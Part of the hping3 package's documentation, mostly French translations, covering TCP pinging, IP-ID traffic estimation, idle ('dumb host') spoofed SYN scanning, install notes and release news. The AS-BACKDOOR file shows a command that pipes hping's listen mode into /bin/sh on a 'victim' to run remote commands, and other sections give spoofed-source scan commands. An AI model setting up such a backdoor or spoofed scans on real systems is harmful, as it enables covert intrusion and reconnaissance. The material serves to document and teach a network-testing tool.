id=+1 win=0 time=95 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms -cut- .. . The port is closed. All this can appear complicated to perform, but using two sessions of hping on Linux virtual consoles or under X makes it more simple. First session listen host B: hping B -r Second session send spoofed SYN: hping C -a B -S Sorry if my english is not so clear. However this posting is not adequate to describe exaustively this scan method, so i'll write a paper on this topic, specially about how to implement this in a port scanner (i.e. nmap), and about players characteristics and OS used. happy new year, antirez hping3-3.a2.ds2/docs/french/000077500000000000000000000000001021454026700155745ustar00rootroot00000000000000hping3-3.a2.ds2/docs/french/AS-BACKDOOR000066400000000000000000000024531021454026700172100ustar00rootroot00000000000000hping peut être utilisé comme une backdoor (ndt : porte dérobée). Essayez juste l'option -9 (--listen) et redirigez via un tube dans /bin/sh : Mettez hping en mode listen (ndt : d'écoute) sur le système victime. victim# hping -I eth0 -9 mysign | /bin/sh Chaque paquet qui contient "mysign" sera traité par hping, tous les octets qui suivent "mysign" dans les paquets seront envoyés dans la sortie standard, ainsi par exemple je serai capable d'exécuter des commandes en utilisant tous types de protocoles. Juste pour exemple je peux utiliser le démon smtpd pour exécuter 'ls' sur la victime. evil$ telnet victim 25 Trying 192.168.1.1... Connected to nano (192.168.1.1). Escape character is '^]'. 220 nano.marmoc.net ESMTP Sendmail mysignls; sur la victime vous verrez : victim# hping -I eth0 -9 mysign | /bin/sh hping2 listen mode bin cdrom etc home local-home mnt root tmp var boot dev export lib lost+found proc sbin usr : command not found Comme vous pouvez le voir j'utilise 'ls;' puisque sinon le shell recevra juste ls^M. Le ";" force l'exécution de la commande (du moins avec bash et zsh, vérifiez votre shell pour plus d'informations). Ceci fonctionne avec tous les types de paquets IP valides non filtrés, le niveau supérieur de protocole importe peu. antirez hping3-3.a2.ds2/docs/french/HPING2-HOWTO.txt000066400000000000000000000541651021454026700201750ustar00rootroot00000000000000N.B. : ce HOWTO n'est pas terminé, et par endroits très bête. Je laisse cela ici seulement parce que peut être que c'est mieux que rien. HPING2 HOWTO Changes Log ----------- Aug 7 1999 vi HPING2-HOWTO.txt Aug 8 1999 __0000, __0001, __0002, __0003 Aug 10 1999 __0004 Index ----- [cherchez __XXXX afin de sauter au point que vous souhaitez] __0000: Avis de copyright __0001: Qu'est ce que hping ? __0002: Qu'est ce que j'ai besoin de connaître de TCP/IP pour utiliser hping ? __0003: Premiers pas avec hping __0004: Le champ IP id et comment scanner des ports TCP en utilisant de l'usurpation d'adresse. __0005: Comment tester des règles de filtrage. (A faire) __0006: Comment transférer des fichier au travers de firewalls. (A faire) __000A: Exemple d'utilisation de hping (A faire) __0000: Avis de copyright, Licence, et tout ce genre de choses Copyright (C) Salvatore Sanfilippo, 1999. La permission est accordée de faire et distribuer des copies de ce manuel à condition que l'avis de copyright et cet avis de permission soient préservés sur toutes les copies. Permission est accordée de copier et distribuer des versions modifiées de ce manuel sous les conditions de copie verbatim, à condition que le travail dérivé soit distribué sous les termes d'un avis de permission identique à celui-ci. Les traductions tombent dans la catégorie des ''versions modifiées.'' Garantie : Aucune. Recommandations : les redistributions commerciales sont autorisées et encouragées; cependant, il est fortement recommandé que le redistributeur contacte l'auteur avant redistribution, dans l'intérêt de garder les choses à jour (vous pouvez m'envoyer une copie de ce que vous faites pendant que vous y êtes). Les traducteurs sont également encouragés à contacter l'auteur avant traduction. Le version imprimée aura plus d'allure. Recyclez. __0001 : Qu'est ce que hping ? Hping est un logiciel pour tester des piles TCP/IP, pour découvrir des politiques de firewalls, pour scanner les ports TCP de nombreuses manières différentes, pour transférer les fichiers au travers de firewalls et beaucoup d'autres choses. En utilisant hping vous pouvez même faire beaucoup de choses qui ne concernent pas la sécurité. Par exemples vous pouvez tester les performances réseau, vérifier si un système tourne, vérifier si le champ TOS est géré, etc. __0002 : Qu'est ce que j'ai besoin de connaître de TCP/IP pour utiliser hping ? Si vous connaissez TCP/IP vous trouverez hping très utile, sinon vous pouvez utiliser hping seulement pour faire des tests connus. Voir __000A pour quelques exemples. __0003 : Premiers pas avec hping La plus simple utilisation de hping est la suivante : #hping host Cette commande envoie un paquet TCP sans drapeau au port 0 du système cible chaque seconde et montre les réponses du système. Par exemple : # hping www.debian.org ppp0 default routing interface selected (according to /proc) HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes 40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms 40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms 40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms [Ctrl+C] --- www.debian.org hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss Comme vous pouvez le voir le système répond avec un paquet TCP avec les drapeaux RST et ACK positionnés. Ainsi vous êtes capable d'effectuer un 'ping TCP', utile quand ICMP est filtré. Par défaut le port 0 est utilisé parce qu'il serait étrange qu'il soit à l'état LISTEN (ndt : en écoute). Si nous envoyons un paquet TCP sans drapeau à un port à l'état LISTEN, de nombreuses piles TCP/IP ne renverront pas de réponse. Ainsi nous sommes capables de savoir si un port est dans l'état LISTEN. Par exemple : # hping www.debian.org -p 80 ppp0 default routing interface selected (according to /proc) HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes [Ctrl+C] --- www.debian.org hping statistic --- 5 packets trasmitted, 0 packets received, 100% packet loss Puisque le port 80 de www.debian.org est en mode LISTEN nous n'obtenons aucune réponse. Mais qu'arrive-t-il si nous essayons de 'hpinger' un port bloqué par un firewall ? Cela dépend de la politique / configuration du firewall. Habituellement nous obtenons un paquet ICMP ou rien. Par exemple : # hping www.yahoo.com -p 79 ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net) --- www.yahoo.com hping statistic --- 14 packets tramitted, 0 packets received, 100% packet loss Le firewall de yahoo ne permet pas de connexion sur le port 79, donc il répond avec un paquet ICMP Packet filtered (ICMP unreachable code 13). Cependant il y a beaucoup de firewalls qui ignorent simplement le paquet. Par exemple : # hping www.microsoft.com -p 79 ppp0 default routing interface selected (according to /proc) HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes --- www.microsoft.com hping statistic --- 4 packets tramitted, 0 packets received, 100% packet loss Aucune réponse de microsoft. Est-ce que le port est bloqué ou en mode LISTEN ? Découvrir cela est très simple. Nous essayons juste de mettre le drapeau ACK au lieu d'envoyer un paquet TCP sans drapeau. Si le système répond, peut-être que ce port est en mode LISTEN (mais il est possible qu'il y ait une règle qui refuse les paquets TCP sans drapeau mais autorise les paquets ACK). # hping www.microsoft.com -A -p 79 ppp0 default routing interface selected (according to /proc) HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes --- www.microsoft.com hping statistic --- 3 packets tramitted, 0 packets received, 100% packet loss Toujours pas de réponse, ainsi ce port semble être filtré. Quoi qu'il en soit, il est possible que microsoft utilise un firewall 'intelligent' qui sait que pour me connecter je dois d'abord envoyer un paquet SYN. # hping www.microsoft.com -S -p 79 ppp0 default routing interface selected (according to /proc) HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes --- www.microsoft.com hping statistic --- 3 packets tramitted, 0 packets received, 100% packet loss Ok.. il semble que le port 79 de microsoft est réellement filtré. Pour clarification nous envoyons quelques paquets ACK au port 80 de www.debian.org : # hping www.debian.org -p 80 -A ppp0 default routing interface selected (according to /proc) HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes 40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms 40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms 40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms --- www.debian.org hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss Nous pouvons voir les réponses même si le port 80 est en mode LISTEN parce qu'un port en mode LISTEN ne devrait pas répondre à des paquets TCP avec seulement un drapeau NULL, FIN, Xmas, ou Ymas. ACK et RST sont deux drapeaux TCP importants qui permettent de tester des ACL (ndt : listes de contrôle d'accès) et de deviner le champ ip->id en ne laissant pas de trace dans les journaux (généralement). __0004 : Le champ IP id et comment scanner des ports TCP en utilisant de l'usurpation d'adresse. Chaque paquet IP est identifié par un champ id de 16 bits. Grâce à ce champ id les piles IP sont capables de gérer la fragmentation. De nombreux OS traitent ip->id trivialement : incrémenter ce champ de 1 champ pour chaque paquet envoyé. En utilisant ce champ id vous êtes au minimum capable d'estimer le trafic et de scanner en usurpant l'adresse source. OpenBSD >= 2.5 et beaucoup d'autres mettent en oeuvre un champ id aléatoire non répétitif ainsi vous ne pouvez pas jouer avec le champ ip->id. Le champ ip->id des systèmes Windows n'est pas positionné dans le même ordre (ndt : dans le bon ordre), donc vous devez spécifier l'option --winid ou -W si vous utilisez hping2 contre un système Windows. N.B. : Vous êtes capable de scanner un système avec un champ ip->id sûre/aléatoire parce que pour spoofer vos paquets vous avez besoin d'un système tiers avec un champ id incrémental, mais vous n'avez pas besoin que la cible de votre scan ait un champ id incrémental. Comment estimer le trafic d'un système en utilisant le champ ip->id ? C'est vraiment très simple : # hping www.yahoo.com -p 80 -A ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes 40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms 40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms 40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms 40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms 40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms 40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms 40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms 40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms --- www.yahoo.com hping statistic --- 8 packets tramitted, 8 packets received, 0% packet loss round-trip min/avg/max = 329.4/377.4/390.0 ms Comme vous pouvez le voir le champ id augmente. Le paquet avec le numéro de séquence 0 possède un champ id égal à 29607, le numéro 1 à 31549, ainsi le système www.yahoo.com a envoyé 31549-29607 = 1942 paquets en environ une seconde. En utilisant l'option -r ou --relid, hping affiche le delta entre les champs id des deux derniers paquets reçus. # hping www.yahoo.com -P 80 -A -r ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes 40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms 40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms 40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms 40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms 40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms 40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms 40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms --- www.yahoo.com hping statistic --- 10 packets tramitted, 10 packets received, 0% packet loss round-trip min/avg/max = 320.0/336.7/360.0 ms Évidemment si on vérifie le champ id toutes les demi-secondes plutôt que toutes les secondes, l'incrément sera diminué de moitié. # hping www.yahoo.com -P 80 -A -r -i u 500000 ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes 40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms 40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms 40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms 40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms 40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms 40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms --- www.yahoo.com hping statistic --- 9 packets tramitted, 9 packets received, 0% packet loss round-trip min/avg/max = 310.0/320.8/330.0 ms N.B. Attention, en utilisant ip->id vous n'êtes capable que d'estimer *le nombre de paquets envoyés/unité de temps*. Vous ne pouvez pas toujours comparer différents systèmes. Le champ ip->id concerne toutes les interfaces d'un système et par exemple si un système utilise de la traduction d'adresse ou redirige les connexions TCP vers un autre système (par exemple un firewall utilisé pour cacher un serveur web) l'incrément du champ ip->id peut résulter en de fausses augmentations. En 'hpingant' les boites windows sans utiliser l'option --winid vous verrez que les incrément sont des multiples de 256 à cause d'un ordre des octets inversé. Ceci peut être réellement utile pour déterminer le type d'OS. #hping win95 -r HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes 46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms 46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms 46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms 46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms --- win95 hping statistic --- 4 packets tramitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.5/0.5/0.6 ms Les systèmes windows sont "marqués", ainsi pour découvrir si un système est un Windows vous avez juste besoin d'envoyer quelques paquets. Comment effectuer des scans SYN spoofés en utilisant un champ id incrémental ? Ce qui suit est le message original (ndt : du moins sa traduction) à bugtraq à propos de la méthode de scan usurpée/indirecte/passive, dessous j'essayerai d'expliquer les détails et comment cela est possible même avec UDP avec quelques restrictions. ---- le postage à bugtraq à propos des scans usurpés ---- Salut, J'ai découvert une nouvelle méthode de scan de ports TCP. Au contraire de toutes les autres elle vous permet de scanner en utilisant des paquets usurpés (ndt : dont l'adresse IP source est usurpée), ainsi les systèmes scannés ne peuvent pas voir votre adresse réelle. Afin de réaliser cela j'utilise trois particularités bien connues des mises en oeuvre TCP/IP de la plupart des OS. (1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible est ouvert, et RST|ACK si le port TCP cible est fermé. (2) * Vous pouvez connaître le nombre de paquets que les systèmes envoient en utilisant le champ id de l'entête IP. Voir mes précédents postages 'à propos de l'entête IP' dans cette mailing liste. (3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à RST. Les joueurs: système A - le système malfaisant, l'attaquant. système B - le système silencieux. système C - le système victime. A est votre système. B est un système particulier : il ne doit envoyer aucun paquet pendant que vous scannez C. Il y a énormément de systèmes à 'trafic nul' sur Internet, spécialement la nuit :) C est la victime, il doit être vulnérable aux scans SYN. J'ai appelé cette méthode de scan 'scan du système muet' (ndt : l'autre traduction de 'dumb' est bête) en référence aux caractéristiques du système B. Comment elle fonctionne : Le système A surveille le nombre de paquets sortants depuis B en utilisant le champ id de l'entête IP. Vous pouvez faire ceci simplement en utilisant hping : #hping B -r HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms -cut- .. . Comme vous pouvez le voir, les incréments du champ id sont toujours de 1. Ainsi ce système a la caractéristique requise pour jouer le rôle de B. Maintenant le système A envoie des paquets SYN au port X de C en usurpant l'adresse source de B. (avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez) si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui, le système C ne sait pas que le véritable expéditeur est A). Dans ce cas le système B répond au SYN|ACK avec un RST. Si nous envoyons au système C quelques paquets SYN il répondra à B quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi nous verrons que le système B est en train d'envoyer des paquets ! . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms -cut- .. . Le port est ouvert ! Par contre, si le port X de C est fermé alors en envoyant à C quelques paquets SYN avec l'adresse usurpée de B, il répondra avec des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous verrons que le système B n'est en train d'envoyer aucun paquet : . .. -cut- 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms -cut- .. . Le port est fermé. Tout ceci peut paraître compliqué à réaliser, mais utiliser deux sessions de hping dans des consoles virtuelles Linux ou sous X rend cela plus simple. La première session surveille le système B : hping B -r La seconde session envoie des paquets SYN spoofés : hping C -a B -S Désolé si mon anglais n'est pas clair. Cependant ce postage n'est pas adéquat pour décrire exhaustivement cette méthode de scan, ainsi je vais écrire un article à ce sujet, en particulier comment mettre en oeuvre ceci dans un scanner de ports (i.e. nmap), et à propos des caractéristiques des joueurs et des OS utilisés. bonne nouvelle année, antirez ---- EOF ---- Comme vous pouvez le voir un scan usurpé est trivial à réaliser, particulièrement en utilisant hping2 vous êtes capable de spécifier un intervalle en micro secondes (-i uX) ainsi vous n'avez pas besoin que le système B soit un système totalement passif. Vous pouvez lire l'incrément du champ id une fois toutes les secondes en envoyant 10 paquets SYN par seconde. Si vous envoyez un nombre adéquat de paquets SYN par seconde, l'incrément du champ id attendu est si important que vous êtes à même de voir si le port est ouvert ou fermé même si le système B envoie d'autres paquets. Exemple : # hping awake.host.org -p 80 -A -r ppp0 default routing interface selected (according to /proc) HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes 40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms 40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms 40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms 40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms 40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms 40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms 40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms 40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms 40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms 40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms ... comme vous pouvez le voir, ce système n'est pas inactif, il envoie environ 6 paquets chaque seconde. Maintenant scannez le port 80 de www.yahoo.com pour voir s'il est ouvert : root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com ppp0 default routing interface selected (according to /proc) HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes [attendre quelques secondes et presser CTRL+C] --- www.yahoo.com hping statistic --- 130 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms En observant la sortie de 'hping awake.host.org -p 80 -A -r' il est simple de comprendre que le port 80 de www.yahoo.com est ouvert : 40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms 40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms 40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms 40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms 40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms 40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms notez que 16+75+12+27+11+1-6 = 136 et que nous avons envoyé 130 paquets. Ainsi il est très probable que les incréments soient produits par nos paquets. Conseil : en utilisant un système inactif pour réaliser un scan usurpé il est utile de ne montrer que les réponses qui montrent un incrément différent de 1. Essayez `hping host -r | grep -v "id=+1"' hping3-3.a2.ds2/docs/french/HPING2-IS-OPEN000066400000000000000000000015051021454026700175170ustar00rootroot00000000000000Je voudrais dire deux mots à propos du modèle de développement de hping2. Hping2 est totalement ouvert à toutes nouvelles contributions et idées, si vous avez même la plus petite idée afin de rendre hping meilleur ou si vous faites un patch alors envoyez moi un courrier électronique. Tous les patches, s'ils ne cassent pas l'ancien code et ne sont pas totalement inutiles, seront inclus. Je connais nombre de projets sous licence GPL mais qui sont dans un sens "fermés" puisque chaque nouveau patch est considéré bouffi ou alors le seul code possible est celui de l'auteur principal : CE N'EST PAS LE CAS! Également chacune des plus petites contributions documentaires seront ajoutées à hping2, vous pouvez juste créer un ficher texte qui expose comment réaliser une tâche avec hping, il sera inclus dans le répertoire 'docs'. antirez hping3-3.a2.ds2/docs/french/INSTALL000066400000000000000000000033401021454026700166250ustar00rootroot00000000000000Vous pouvez compiler hping2 au moins sur : Linux OpenBSD FreeBSD NetBSD Solaris Avec Linux vous n'avez besoin d'aucune bibliothèque, ni d'être root, cependant vous avez besoin d'un uid 0 pour exécuter hping. Linux ----- merci de suivre les étapes suivantes : $ ./configure (essayer d'abord ./configure --help) $ vi Makefile (facultatif) $ make $ su # make install FreeBSD, OpenBSD, NetBSD ------------------------ Vous aurez besoin de la libpcap et le l'utilitaire gmake installés sur votre système. $ ./configure $ gmake $ su (ou calife) # gmake install ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ NOTE : vous devez faire attention à votre fichier net/bpf.h en installant sur les systèmes BSD (spécialement avec OpenBSD). Si votre fichier bpf.h original a été écrasé avec celui de libpcap alors probablement que hping ne fonctionnera pas avec certaines interfaces. Par exemple si vous utilisez le fichier bpf.h de libpcap sur OpenBSD alors hping ne fonctionnera pas sur les interfaces PPP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solaris -------- $ export CC="gcc" $ ./configure $ gmake $ su # gmake install TOUS ---- Si vous avez besoin d'exécuter hping2 avec votre compte normal (c.-à-d. antirez) essayez les commandes suivantes : # chown root:antirez /usr/sbin/hping2 # chmod 4750 /usr/sbin/hping2 ATTENTION : hping2 n'est pas du code de confiance, je ne l'ai pas audité pour les débordements de tampons cachés et autres problèmes en relation avec la sécurité. Cependant si (comme par défaut) LIMITWHENSUID est défini alors si euid != uid il n'est pas possible d'utiliser beaucoup d'options triviallement non sûres. le rendre suid n'est pas encouragé. antirez hping3-3.a2.ds2/docs/french/MORE-FUN-WITH-IPID000066400000000000000000000033241021454026700202050ustar00rootroot00000000000000Posté sur la mailing liste bugtraq (20 Nov 1999) : --- Salut, quelques petites nouvelles idées à propos des problèmes du champ IP ID : Le premier est à propos du filtrage IP Linux : puisqu'il augmente le compteur global du champ IP ID même si un paquet sortant sera filtré nous sommes capables, par exemple, de scanner des ports UDP même si la sortie de paquets ICMP de type 3 (ndt : port non accessible) est DENY, et en général il est possible de savoir quand la pile TCP/IP répond à un paquet même si la réponse est jetée. Je pense (mais non testé) que ceci est vrai pour la plupart des firewalls. Le second problème concerne la capacité à découvrir les règles de filtrage. Par exemple il est trivial de connaître si un système A filtre les paquets depuis l'adresse IP X.Y.Z.W en contrôlant l'augmentation du champ IP ID du système A ou du système avec l'adresse X.Y.Z.W (ceci change si nous sommes intéressés par la connaissance des règles d'entrée ou de sortie) et en envoyant les paquets qui supposent une réponse. Également ceci est apparenté avec la capacité de scanner les ports d'un système qui jette tous les paquets avec une source différente de systeme.de-confiance.com. Il y a d'autres choses comme ceci mais elles sont seulement différentes facettes du même concept. Quelques personnes pensent que ce type d'attaques ne sont pas des attaques du "monde réel", je suis fortement intéressé de savoir quelle est l'opinion des lecteurs de bugtraq (à mon opinion ce type d'attaques est faisable et utile pour un attaquant. Par exemple la capacité de scanner les ports avec seulement des paquets spoofés (ndt : avec l'adresse source usurpée) et la capacité de deviner le trafic du système distant sont grandement réels). ciao, antirez hping3-3.a2.ds2/docs/french/Makefile000066400000000000000000000005211021454026700172320ustar00rootroot00000000000000TXT = hping2-fr.8.txt all: $(TXT) hping2-fr.8.txt: hping2-fr.8 #groff -t -e -mandoc -Tlatin1 hping2-fr.8 | col -bx | uniq > hping2-fr.8.txt #groff -t -e -mandoc -Tlatin1 hping2-fr.8 | uniq > hping2-fr.8.txt groff -t -e -mandoc -Tlatin1 hping2-fr.8 | LC_ALL=fr_FR.ISO-8859-1 col -bx | uniq > hping2-fr.8.txt clean: rm -f *~ $(TXT) hping3-3.a2.ds2/docs/french/NEWS000066400000000000000000000147111021454026700162770ustar00rootroot00000000000000Ce court document est pour les utilisateurs de hping-beta54 ou des versions précédentes et les aider à exploiter toutes les nouvelles fonctionnalités de cette version de hping2 en un temps restreint. Vous pouvez quand même vouloir lire la nouvelle page man mais ce qui suit vous aidera assurément : === release candidate 2 news . Maintenant hping est capable d'envoyer/d'analyser les entêtes IP source routées. Voir la page du manuel pour plus d'informations. . Hping a été presque ré-écrit, au moins toutes les parties les plus importantes. Vous devriez faire l'expérience d'un code plus lisible, compact, rapide à compiler. . Le nouveau code d'analyse des options vous permet de spécifier des options abrégées. Vous pouvez maintenant utiliser --tcp-ti au lieu de --tcp-timestamp par exemple et ainsi de suite. . La nouvelle fonctionnalité rand-dest permet d'envoyer le paquet à des adresses IP aléatoires. Ceci est très utile pour faire des études de l'Internet ou des scans aléatoires de larges réseaux. Par exemple la ligne de commande suivante va envoyer des paquets TCP avec le bit SYN vers le port 80 de l'espace d'adressage 192.168.0.0/16 hping 192.168.x.x --rand-dest -p 80 -S Toute occurrence de 'x' est substituée par un nombre aléatoire dans l'intervalle 0-255. . La nouvelle fonctionnalité rand-source permet d'envoyer des paquets avec des adresses IP sources aléatoires. Utile pour tester quelques conditions de DoS (ndt : dénis de service) contre des firewalls ou des piles TCP/IP qui mettent en oeuvre des enregistrements d'informations basées sur l'adresse IP. . La sortie a été un peu améliorée et fixée. . L'option "force un port destination incrémental" (++) fonctionne maintenant avec les paquets UDP et fonctionne mieux avec TCP, depuis qu'elle est plus sélective avec les réponses en retour. . Maintenant vous devriez être réellement capables de fixer les numéros de séquence et d'acquittement des paquets TCP. Le code rc1 était cassé car atoi() était utilisé pour obtenir une valeur "unsigned long" (ndt : longue valeur non signée) . La documentation (et la traduction française) a été mise à jour pour refléter les changements. === release candidate 1 news . Maintenant hping fonctionne mieux sur BSD, et fonctionne sur Solaris. Il devrait être beaucoup plus simple de le porter sur une plate-forme non supportée. Les problèmes avec les systèmes qui utilisent des pids (ndt : numéros de processus) sur 32 bits sont fixés. . La sortie est différente pour être plus analysable (ndt : par un programme) et compacte, par exemple : len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms maintenant la présence du drapeau IP Don't fragment (ndt : ne pas fragmenter) est signalé avec 'DF'. tous les champs avec une valeur 